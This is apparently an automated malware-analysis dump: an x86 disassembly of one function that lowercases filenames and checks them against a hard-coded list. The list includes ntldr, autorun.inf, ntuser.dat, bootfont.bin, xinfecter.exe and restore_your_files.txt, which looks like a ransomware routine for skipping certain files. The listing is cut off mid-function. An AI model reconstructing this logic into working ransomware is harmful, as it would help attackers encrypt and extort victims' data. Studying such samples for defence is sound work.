Function at 0x40f630
Capabilities:
Manipulate boot configuration
Move file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d7001
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0x880
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x39c], 0
lea ecx, [ebp - 0x68]
mov dword [ebp - 4], 0
push esi
mov byte [ebp - 0x3a5], 0
call fcn.00431aa0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x68]
push dword [ebp - 0x3a0]
cmp dword [ebp - 0x54], 8
mov edi, dword [ebp - 0x58]
cmovae eax, dword [ebp - 0x68]
push 2
push 0x4fb050
push 0xffffffffffffffff
push edi
push eax
call fcn.0043bfa0
add esp, 0x18
cmp eax, 0xffffffff
je 0x40f701
lea edx, [eax + 1]
mov dword [ebp - 0x6c4], edi
cmp edi, edx
mov dword [ebp - 0xfc], edx
lea ecx, [ebp - 0x68]
cmovb edx, edi
cmp dword [ebp - 0x54], 8
cmovae ecx, dword [ebp - 0x68]
sub edi, edx
mov dword [ebp - 0x58], edi
lea eax, [edi*2 + 2]
push eax
lea eax, [ecx + edx*2]
push eax
push ecx
call fcn.004a8c10
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x3f0]
call fcn.00431aa0
cmp dword [ebp - 0x3dc], 8
lea ecx, [ebp - 0x3f0]
mov eax, dword [ebp - 0x3e0]
lea edi, [ebp - 0x3f0]
cmovae ecx, dword [ebp - 0x3f0]
cmovae edi, dword [ebp - 0x3f0]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x40f787
nop dword [eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x40f760
movups xmm1, xmmword [ebp - 0x3f0]
xor eax, eax
movq xmm0, qword [ebp - 0x3e0]
movups xmmword [ebp - 0x6a8], xmm1
mov dword [ebp - 0x3e0], 0
movq qword [ebp - 0x698], xmm0
mov dword [ebp - 0x3dc], 7
mov word [ebp - 0x3f0], ax
mov byte [ebp - 4], 2
lea edx, [ebp - 0x6a8]
cmp dword [ebp - 0x694], 8
mov ecx, 1
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x698], 9
mov dword [ebp - 0x394], edx
jne 0x40f82f
mov eax, dword [ebp - 0x394]
lea edi, [ecx + 8]
mov edx, str.s_inf.sys
sub eax, edx
mov dword [ebp - 0x394], eax
nop word [eax + eax]
mov ax, word [eax + edx]
cmp ax, word [edx]
jne 0x40f82f
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, ecx
jne 0x40f810
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x408]
call fcn.00431aa0
cmp dword [ebp - 0x3f4], 8
lea ecx, [ebp - 0x408]
mov eax, dword [ebp - 0x3f8]
lea edi, [ebp - 0x408]
cmovae ecx, dword [ebp - 0x408]
cmovae edi, dword [ebp - 0x408]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x40f8b7
nop word [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x40f890
movups xmm1, xmmword [ebp - 0x408]
xor eax, eax
movq xmm0, qword [ebp - 0x3f8]
movups xmmword [ebp - 0x690], xmm1
mov dword [ebp - 0x3f8], 0
movq qword [ebp - 0x680], xmm0
mov dword [ebp - 0x3f4], 7
mov word [ebp - 0x408], ax
mov dword [ebp - 4], 3
lea edx, [ebp - 0x690]
cmp dword [ebp - 0x67c], 8
mov ecx, 3
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x680], 0xa
mov dword [ebp - 0x394], edx
jne 0x40f960
mov eax, dword [ebp - 0x394]
lea edi, [ecx + 7]
mov edx, str.s_2153.bat
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [eax + edx]
cmp ax, word [edx]
jne 0x40f960
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x40f940
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x420]
call fcn.00431aa0
cmp dword [ebp - 0x40c], 8
lea ecx, [ebp - 0x420]
mov eax, dword [ebp - 0x410]
lea edi, [ebp - 0x420]
cmovae ecx, dword [ebp - 0x420]
cmovae edi, dword [ebp - 0x420]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x40f9e7
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x40f9c0
movups xmm1, xmmword [ebp - 0x420]
xor eax, eax
movq xmm0, qword [ebp - 0x410]
movups xmmword [ebp - 0x79c], xmm1
mov dword [ebp - 0x410], 0
movq qword [ebp - 0x78c], xmm0
mov dword [ebp - 0x40c], 7
mov word [ebp - 0x420], ax
mov dword [ebp - 4], 4
lea edx, [ebp - 0x79c]
cmp dword [ebp - 0x788], 8
mov ecx, 7
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x78c], 0xa
mov dword [ebp - 0x394], edx
jne 0x40fa90
mov eax, dword [ebp - 0x394]
lea edi, [ecx + 3]
mov edx, str.s_8459.vbs
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x40fa90
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x40fa70
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x438]
call fcn.00431aa0
cmp dword [ebp - 0x424], 8
lea ecx, [ebp - 0x438]
mov eax, dword [ebp - 0x428]
lea edi, [ebp - 0x438]
cmovae ecx, dword [ebp - 0x438]
cmovae edi, dword [ebp - 0x438]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x40fb17
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x40faf0
movups xmm1, xmmword [ebp - 0x438]
xor eax, eax
movq xmm0, qword [ebp - 0x428]
movups xmmword [ebp - 0x784], xmm1
mov dword [ebp - 0x428], 0
movq qword [ebp - 0x774], xmm0
mov dword [ebp - 0x424], 7
mov word [ebp - 0x438], ax
mov dword [ebp - 4], 5
lea edx, [ebp - 0x784]
cmp dword [ebp - 0x770], 8
mov ecx, 0xf
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x774], 0xa
mov dword [ebp - 0x394], edx
jne 0x40fbc0
mov eax, dword [ebp - 0x394]
lea edi, [ecx - 5]
mov edx, str.s_6748.bat
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x40fbc0
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x40fba0
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x3d8]
call fcn.00431aa0
cmp dword [ebp - 0x3c4], 8
lea ecx, [ebp - 0x3d8]
mov eax, dword [ebp - 0x3c8]
lea edi, [ebp - 0x3d8]
cmovae ecx, dword [ebp - 0x3d8]
cmovae edi, dword [ebp - 0x3d8]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x40fc47
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x40fc20
movups xmm1, xmmword [ebp - 0x3d8]
xor eax, eax
movq xmm0, qword [ebp - 0x3c8]
movups xmmword [ebp - 0x76c], xmm1
mov dword [ebp - 0x3c8], 0
movq qword [ebp - 0x75c], xmm0
mov dword [ebp - 0x3c4], 7
mov word [ebp - 0x3d8], ax
mov dword [ebp - 4], 6
lea edx, [ebp - 0x76c]
cmp dword [ebp - 0x758], 8
mov ecx, 0x1f
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x75c], 0xa
mov dword [ebp - 0x394], edx
jne 0x40fcf0
mov eax, dword [ebp - 0x394]
lea edi, [ecx - 0x15]
mov edx, str.n_save.sys
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x40fcf0
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x40fcd0
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x468]
call fcn.00431aa0
cmp dword [ebp - 0x454], 8
lea ecx, [ebp - 0x468]
mov eax, dword [ebp - 0x458]
lea edi, [ebp - 0x468]
cmovae ecx, dword [ebp - 0x468]
cmovae edi, dword [ebp - 0x468]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x40fd77
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x40fd50
movups xmm1, xmmword [ebp - 0x468]
xor eax, eax
movq xmm0, qword [ebp - 0x458]
movups xmmword [ebp - 0x6c0], xmm1
mov dword [ebp - 0x458], 0
movq qword [ebp - 0x6b0], xmm0
mov dword [ebp - 0x454], 7
mov word [ebp - 0x468], ax
mov dword [ebp - 4], 7
lea edx, [ebp - 0x6c0]
cmp dword [ebp - 0x6ac], 8
mov ecx, 0x3f
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x6b0], 0xa
mov dword [ebp - 0x394], edx
jne 0x40fe20
mov eax, dword [ebp - 0x394]
lea edi, [ecx - 0x35]
mov edx, str.readme.hta
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x40fe20
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x40fe00
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x480]
call fcn.00431aa0
cmp dword [ebp - 0x46c], 8
lea ecx, [ebp - 0x480]
mov eax, dword [ebp - 0x470]
lea edi, [ebp - 0x480]
cmovae ecx, dword [ebp - 0x480]
cmovae edi, dword [ebp - 0x480]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x40fea7
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x40fe80
movups xmm1, xmmword [ebp - 0x480]
xor eax, eax
movq xmm0, qword [ebp - 0x470]
movups xmmword [ebp - 0x73c], xmm1
mov dword [ebp - 0x470], 0
movq qword [ebp - 0x72c], xmm0
mov dword [ebp - 0x46c], 7
mov word [ebp - 0x480], ax
mov dword [ebp - 4], 8
lea edx, [ebp - 0x73c]
cmp dword [ebp - 0x728], 8
mov ecx, 0x7f
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x72c], 6
mov dword [ebp - 0x394], edx
jne 0x40ff50
mov eax, dword [ebp - 0x394]
lea edi, [ecx - 0x79]
mov edx, str.io.sys
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x40ff50
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x40ff30
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x498]
call fcn.00431aa0
cmp dword [ebp - 0x484], 8
lea ecx, [ebp - 0x498]
mov eax, dword [ebp - 0x488]
lea edi, [ebp - 0x498]
cmovae ecx, dword [ebp - 0x498]
cmovae edi, dword [ebp - 0x498]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x40ffd7
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x40ffb0
movups xmm1, xmmword [ebp - 0x498]
xor eax, eax
movq xmm0, qword [ebp - 0x488]
movups xmmword [ebp - 0x724], xmm1
mov dword [ebp - 0x488], 0
movq qword [ebp - 0x714], xmm0
mov dword [ebp - 0x484], 7
mov word [ebp - 0x498], ax
mov dword [ebp - 4], 9
lea edx, [ebp - 0x724]
cmp dword [ebp - 0x710], 8
mov ecx, 0xff
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x714], 0xc
mov dword [ebp - 0x394], edx
jne 0x410080
mov eax, dword [ebp - 0x394]
mov edx, str.ntdetect.com
sub eax, edx
mov edi, 0xc
mov dword [ebp - 0x394], eax
nop
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x410080
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x410060
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00431aa0
cmp dword [ebp - 0x49c], 8
lea ecx, [ebp - 0x4b0]
mov eax, dword [ebp - 0x4a0]
lea edi, [ebp - 0x4b0]
cmovae ecx, dword [ebp - 0x4b0]
cmovae edi, dword [ebp - 0x4b0]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410107
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x4100e0
movups xmm1, xmmword [ebp - 0x4b0]
xor eax, eax
movq xmm0, qword [ebp - 0x4a0]
movups xmmword [ebp - 0x70c], xmm1
mov dword [ebp - 0x4a0], 0
movq qword [ebp - 0x6fc], xmm0
mov dword [ebp - 0x49c], 7
mov word [ebp - 0x4b0], ax
mov dword [ebp - 4], 0xa
lea edx, [ebp - 0x70c]
cmp dword [ebp - 0x6f8], 8
mov ecx, 0x1ff
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x6fc], 5
mov dword [ebp - 0x394], edx
jne 0x4101b0
mov eax, dword [ebp - 0x394]
mov edx, str.ntldr
sub eax, edx
mov edi, 5
mov dword [ebp - 0x394], eax
nop
mov ax, word [eax + edx]
cmp ax, word [edx]
jne 0x4101b0
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x410190
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x4c8]
call fcn.00431aa0
cmp dword [ebp - 0x4b4], 8
lea ecx, [ebp - 0x4c8]
mov eax, dword [ebp - 0x4b8]
lea edi, [ebp - 0x4c8]
cmovae ecx, dword [ebp - 0x4c8]
cmovae edi, dword [ebp - 0x4c8]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410237
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x410210
movups xmm1, xmmword [ebp - 0x4c8]
xor eax, eax
movq xmm0, qword [ebp - 0x4b8]
movups xmmword [ebp - 0x6f4], xmm1
mov dword [ebp - 0x4b8], 0
movq qword [ebp - 0x6e4], xmm0
mov dword [ebp - 0x4b4], 7
mov word [ebp - 0x4c8], ax
mov dword [ebp - 4], 0xb
lea edx, [ebp - 0x6f4]
cmp dword [ebp - 0x6e0], 8
mov ecx, 0x3ff
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x6e4], 9
mov dword [ebp - 0x394], edx
jne 0x4102e0
mov eax, dword [ebp - 0x394]
mov edx, str.thumbs.db
sub eax, edx
mov edi, 9
mov dword [ebp - 0x394], eax
nop
mov ax, word [eax + edx]
cmp ax, word [edx]
jne 0x4102e0
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x4102c0
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x450]
call fcn.00431aa0
cmp dword [ebp - 0x43c], 8
lea ecx, [ebp - 0x450]
mov eax, dword [ebp - 0x440]
lea edi, [ebp - 0x450]
cmovae ecx, dword [ebp - 0x450]
cmovae edi, dword [ebp - 0x450]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410367
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x410340
movups xmm1, xmmword [ebp - 0x450]
xor eax, eax
movq xmm0, qword [ebp - 0x440]
movups xmmword [ebp - 0x6dc], xmm1
mov dword [ebp - 0x440], 0
movq qword [ebp - 0x6cc], xmm0
mov dword [ebp - 0x43c], 7
mov word [ebp - 0x450], ax
mov dword [ebp - 4], 0xc
lea edx, [ebp - 0x6dc]
cmp dword [ebp - 0x6c8], 8
mov ecx, 0x7ff
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x6cc], 0xb
mov dword [ebp - 0x394], edx
jne 0x410410
mov eax, dword [ebp - 0x394]
mov edx, str.autorun.inf
sub eax, edx
mov edi, 0xb
mov dword [ebp - 0x394], eax
nop
mov ax, word [eax + edx]
cmp ax, word [edx]
jne 0x410410
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x4103f0
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x4f8]
call fcn.00431aa0
cmp dword [ebp - 0x4e4], 8
lea ecx, [ebp - 0x4f8]
mov eax, dword [ebp - 0x4e8]
lea edi, [ebp - 0x4f8]
cmovae ecx, dword [ebp - 0x4f8]
cmovae edi, dword [ebp - 0x4f8]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410497
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x410470
movups xmm1, xmmword [ebp - 0x4f8]
xor eax, eax
movq xmm0, qword [ebp - 0x4e8]
movups xmmword [ebp - 0x754], xmm1
mov dword [ebp - 0x4e8], 0
movq qword [ebp - 0x744], xmm0
mov dword [ebp - 0x4e4], 7
mov word [ebp - 0x4f8], ax
mov dword [ebp - 4], 0xd
lea edx, [ebp - 0x754]
cmp dword [ebp - 0x740], 8
mov ecx, 0xfff
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
cmp dword [ebp - 0x744], 0xa
mov dword [ebp - 0x394], edx
jne 0x410540
mov eax, dword [ebp - 0x394]
mov edx, str.ntuser.dat
sub eax, edx
mov edi, 0xa
mov dword [ebp - 0x394], eax
nop
mov ax, word [eax + edx]
cmp ax, word [edx]
jne 0x410540
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x410520
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x678]
call fcn.00431aa0
cmp dword [ebp - 0x664], 8
lea ecx, [ebp - 0x678]
mov eax, dword [ebp - 0x668]
lea edi, [ebp - 0x678]
cmovae ecx, dword [ebp - 0x678]
cmovae edi, dword [ebp - 0x678]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x4105c7
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x4105a0
movups xmm1, xmmword [ebp - 0x678]
xor eax, eax
movq xmm0, qword [ebp - 0x668]
movups xmmword [ebp - 0x3c0], xmm1
mov dword [ebp - 0x668], 0
movq qword [ebp - 0x3b0], xmm0
mov dword [ebp - 0x664], 7
mov word [ebp - 0x678], ax
mov dword [ebp - 4], 0xe
lea edx, [ebp - 0x3c0]
cmp dword [ebp - 0x3ac], 8
mov ecx, 0x1fff
movd eax, xmm1
mov dword [ebp - 0x39c], ecx
cmovae edx, eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3b0], 0xc
mov dword [ebp - 0x394], edx
jne 0x410675
mov eax, dword [ebp - 0x394]
mov edx, str.bootfont.bin
sub eax, edx
mov edi, 0xc
mov dword [ebp - 0x394], eax
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x410675
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x410655
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x660]
call fcn.00431aa0
cmp dword [ebp - 0x64c], 8
lea ecx, [ebp - 0x660]
mov eax, dword [ebp - 0x650]
lea edi, [ebp - 0x660]
cmovae ecx, dword [ebp - 0x660]
cmovae edi, dword [ebp - 0x660]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x4106f7
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x4106d0
movups xmm1, xmmword [ebp - 0x660]
xor eax, eax
movq xmm0, qword [ebp - 0x650]
movups xmmword [ebp - 0x558], xmm1
mov dword [ebp - 0x650], 0
movq qword [ebp - 0x548], xmm0
mov dword [ebp - 0x64c], 7
mov word [ebp - 0x660], ax
mov dword [ebp - 4], 0xf
lea eax, [ebp - 0x558]
cmp dword [ebp - 0x544], 8
mov ecx, 0x3fff
movd edx, xmm1
mov dword [ebp - 0x39c], ecx
cmovae eax, edx
mov dword [ebp - 0x558], edx
cmp dword [ebp - 0x548], 0x16
jne 0x4107a0
mov edx, str.restore_your_files.txt
mov edi, 0x16
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x4107a0
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x410780
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x648]
call fcn.00431aa0
cmp dword [ebp - 0x634], 8
lea ecx, [ebp - 0x648]
mov eax, dword [ebp - 0x638]
lea edi, [ebp - 0x648]
cmovae ecx, dword [ebp - 0x648]
cmovae edi, dword [ebp - 0x648]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410827
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x410800
movups xmm1, xmmword [ebp - 0x648]
xor eax, eax
movq xmm0, qword [ebp - 0x638]
movups xmmword [ebp - 0x540], xmm1
mov dword [ebp - 0x638], 0
movq qword [ebp - 0x530], xmm0
mov dword [ebp - 0x634], 7
mov word [ebp - 0x648], ax
mov dword [ebp - 4], 0x10
lea eax, [ebp - 0x540]
cmp dword [ebp - 0x52c], 8
mov ecx, 0x7fff
movd edx, xmm1
mov dword [ebp - 0x39c], ecx
cmovae eax, edx
mov dword [ebp - 0x540], edx
cmp dword [ebp - 0x530], 0xd
jne 0x4108d0
mov edx, str.xinfecter.exe
mov edi, 0xd
sub eax, edx
mov dword [ebp - 0x394], eax
nop dword [eax]
mov ax, word [edx + eax]
cmp ax, word [edx]
jne 0x4108d0
mov eax, dword [ebp - 0x394]
add edx, 2
sub edi, 1
jne 0x4108b0
mov byte [ebp - 0x3d], 1
jmp 0x410fe3
lea eax, [ebp - 0x68]
push eax
lea ecx, [ebp - 0x618]
call fcn.00431aa0
cmp dword [ebp - 0x604], 8
lea ecx, [ebp - 0x618]
mov eax, dword [ebp - 0x608]
lea edi, [ebp - 0x618]
cmovae ecx, dword [ebp - 0x618]
cmovae edi, dword [ebp - 0x618]
xor edx, edx
mov dword [ebp - 0x394], 0
lea eax, [ecx + eax*2]
mov ecx, eax
sub ecx, edi
inc ecx
shr ecx, 1
cmp edi, eax
cmova ecx, edx
mov dword [ebp - 0x398], ecx
test ecx, ecx
je 0x410957
nop dword [eax + eax]
movzx eax, word [edi]
push eax
call fcn.004b1d18
mov word [edi], ax
lea edi, [edi + 2]
mov eax, dword [ebp - 0x394]
add esp, 4
inc eax
mov dword [ebp - 0x394], eax
cmp eax, dword [ebp - 0x398]
jne 0x410930
movups xmm1, xmmword [ebp - 0x618]
xor eax, eax
movq xmm0, qword [ebp - 0x608]
movups xmmword [ebp - 0x528], xmm1
mov dword [ebp - 0x608], 0
movq qword [ebp - 0x518], xmm0
mov dword [ebp - 0x604], 7
mov word [ebp - 0x618], ax
mov dword [ebp - 4], 0x11
lea eax, [ebp - 0x528]
cmp dword [ebp - 0x514], 8
mov ecx, 0xffff
movd edx, xmm1
mov dword [ebp - 0x39c], ecx
